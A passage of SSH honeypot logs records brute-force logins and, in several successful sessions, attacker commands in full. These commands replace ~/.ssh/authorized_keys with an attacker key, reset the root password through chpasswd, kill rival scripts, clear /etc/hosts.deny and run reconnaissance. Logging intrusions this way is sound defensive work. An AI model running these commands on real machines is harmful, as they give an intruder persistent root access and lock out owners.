    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo \"root:vsXjttbhppd8\"|chpasswd|bash",
    "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo \"root:vsXjttbhppd8\"|chpasswd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 340,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
138.124.92.243
2026-09-20 02:07:56.822042 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 5cef924f3c34
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.0s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "5cef924f3c34",
  "src_ip": "138.124.92.243",
  "start_time": "2026-09-20T02:07:56.822042Z",
  "end_time": "2026-09-20T02:07:58.797419Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
138.124.92.243
2026-09-20 02:07:53.752259 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 340

Credential acceptance event recorded. Target authentication: root / Zaq1xsw2cde#

Remote entity achieved interactive shell state. Command sequence (19 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
[obs-node]:~$ cat /proc/cpuinfo | grep name | wc -l
[obs-node]:~$ echo "root:hEbVqfIOhn7B"|chpasswd|bash
[obs-node]:~$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
[obs-node]:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
[obs-node]:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
[obs-node]:~$ ls -lh $(which ls)
[obs-node]:~$ which ls
[obs-node]:~$ crontab -l
[obs-node]:~$ w
[obs-node]:~$ uname -m
[obs-node]:~$ cat /proc/cpuinfo | grep model | grep name | wc -l
[obs-node]:~$ top
[obs-node]:~$ uname
[obs-node]:~$ uname -a
[obs-node]:~$ whoami
[obs-node]:~$ lscpu | grep Model
[obs-node]:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
Record ID: 0d464e1c7028
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 21.5s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "0d464e1c7028",
  "src_ip": "138.124.92.243",
  "start_time": "2026-09-20T02:07:53.752259Z",
  "end_time": "2026-09-20T02:08:15.290640Z",
  "duration": "21.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Zaq1xsw2cde#"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
    "cat /proc/cpuinfo | grep name | wc -l",
    "echo \"root:hEbVqfIOhn7B\"|chpasswd|bash",
    "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
    "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
    "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
    "ls -lh $(which ls)",
    "which ls",
    "crontab -l",
    "w",
    "uname -m",
    "cat /proc/cpuinfo | grep model | grep name | wc -l",
    "top",
    "uname",
    "uname -a",
    "whoami",
    "lscpu | grep Model",
    "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "echo \"root:hEbVqfIOhn7B\"|chpasswd|bash",
      "failed": false,
      "error": null
    },
    {
      "cmd": "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
      "failed": false,
      "error": null
    },
    {
      "cmd": "ls -lh $(which ls)",
      "failed": false,
      "error": null
    },
    {
      "cmd": "which ls",
      "failed": false,
      "error": null
    },
    {
      "cmd": "crontab -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "w",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -m",
      "failed": false,
      "error": null
    },
    {
      "cmd": "cat /proc/cpuinfo | grep model | grep name | wc -l",
      "failed": false,
      "error": null
    },
    {
      "cmd": "top",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -a",
      "failed": false,
      "error": null
    },
    {
      "cmd": "whoami",
      "failed": false,
      "error": null
    },
    {
      "cmd": "lscpu | grep Model",
      "failed": false,
      "error": null
    },
    {
      "cmd": "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 340,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
138.124.92.243
2026-09-20 02:05:46.007467 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cvs

Record ID: 967f7ada2c52
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.0s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "967f7ada2c52",
  "src_ip": "138.124.92.243",
  "start_time": "2026-09-20T02:05:46.007467Z",
  "end_time": "2026-09-20T02:05:47.994070Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "cvs",
      "pass": "cvs123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
138.124.92.243
2026-09-20 02:03:37.555469 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: arnav

Record ID: 55be644b91c6
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.0s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "55be644b91c6",
  "src_ip": "138.124.92.243",
  "start_time": "2026-09-20T02:03:37.555469Z",
  "end_time": "2026-09-20T02:03:39.534729Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "arnav",
      "pass": "arnav"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
138.124.92.243
2026-09-20 02:01:31.172970 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: deployer

Record ID: cdf57740ed24
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.0s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "cdf57740ed24",
  "src_ip": "138.124.92.243",
  "start_time": "2026-09-20T02:01:31.172970Z",
  "end_time": "2026-09-20T02:01:33.155033Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "deployer",
      "pass": "123321"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
2.57.121.112
2026-09-20 01:58:28.429599 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: creighton

Record ID: c477ebe062d7
Client Version: SSH-2.0-PuTTY_Release_0.84
Engagement Duration: 6.5s
HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9
{
  "id": "c477ebe062d7",
  "src_ip": "2.57.121.112",
  "start_time": "2026-09-20T01:58:28.429599Z",
  "end_time": "2026-09-20T01:58:34.943953Z",
  "duration": "6.5",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [
    {
      "user": "creighton",
      "pass": "creighton"
    },
    {
      "user": "creighton",
      "pass": "creighton1"
    },
    {
      "user": "creighton",
      "pass": "creighton123"
    },
    {
      "user": "creighton",
      "pass": "creighton1234"
    },
    {
      "user": "creighton",
      "pass": "creighton12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
59.179.31.237
2026-09-20 01:57:38.170093 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 8e98815a62c1
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.7s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "8e98815a62c1",
  "src_ip": "59.179.31.237",
  "start_time": "2026-09-20T01:57:38.170093Z",
  "end_time": "2026-09-20T01:57:39.844928Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
59.179.31.237
2026-09-20 01:57:35.248340 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: fedc36d60af4
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.7s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "fedc36d60af4",
  "src_ip": "59.179.31.237",
  "start_time": "2026-09-20T01:57:35.248340Z",
  "end_time": "2026-09-20T01:57:37.907306Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
59.179.31.237
2026-09-20 01:57:31.891997 UTC
COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / kkkkk

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: 4db1fdd0345e
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 7.9s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "4db1fdd0345e",
  "src_ip": "59.179.31.237",
  "start_time": "2026-09-20T01:57:31.891997Z",
  "end_time": "2026-09-20T01:57:39.842065Z",
  "duration": "7.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "kkkkk"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
125.94.106.195
2026-09-20 01:57:01.798481 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c6e7a1252c04
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "c6e7a1252c04",
  "src_ip": "125.94.106.195",
  "start_time": "2026-09-20T01:57:01.798481Z",
  "end_time": "2026-09-20T01:59:01.825550Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
58.42.8.7
2026-09-20 01:56:39.707533 UTC
SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 66db33ad46dc
Client Version: Unknown
Engagement Duration: 2m 0s
{
  "id": "66db33ad46dc",
  "src_ip": "58.42.8.7",
  "start_time": "2026-09-20T01:56:39.707533Z",
  "end_time": "2026-09-20T01:58:39.716491Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}
119.194.211.201
2026-09-20 01:56:07.843182 UTC
RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: ubuntu / Ianboen@2021

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -a 2>/dev/null
Record ID: 17b7acc29e90
Client Version: SSH-2.0-Go
Engagement Duration: 1.1s
HASSH Fingerprint: 06ff3615a51b2af343ec22abc8e30bbc
{
  "id": "17b7acc29e90",
  "src_ip": "119.194.211.201",
  "start_time": "2026-09-20T01:56:07.843182Z",
  "end_time": "2026-09-20T01:56:08.969010Z",
  "duration": "1.1",
  "version": "SSH-2.0-Go",
  "hassh": "06ff3615a51b2af343ec22abc8e30bbc",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "Ianboen@2021"
  },
  "commands": [
    "uname -a 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -a 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}
59.179.31.237
2026-09-20 01:55:49.326032 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 218635c0928f
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.7s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "218635c0928f",
  "src_ip": "59.179.31.237",
  "start_time": "2026-09-20T01:55:49.326032Z",
  "end_time": "2026-09-20T01:55:51.018758Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
59.179.31.237
2026-09-20 01:55:46.405736 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: c43e0303c870
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.6s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "c43e0303c870",
  "src_ip": "59.179.31.237",
  "start_time": "2026-09-20T01:55:46.405736Z",
  "end_time": "2026-09-20T01:55:49.054213Z",
  "duration": "2.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
59.179.31.237
2026-09-20 01:55:42.940542 UTC
COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Sb123456

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: 79949704d298
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 8.1s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "79949704d298",
  "src_ip": "59.179.31.237",
  "start_time": "2026-09-20T01:55:42.940542Z",
  "end_time": "2026-09-20T01:55:51.022832Z",
  "duration": "8.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Sb123456"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
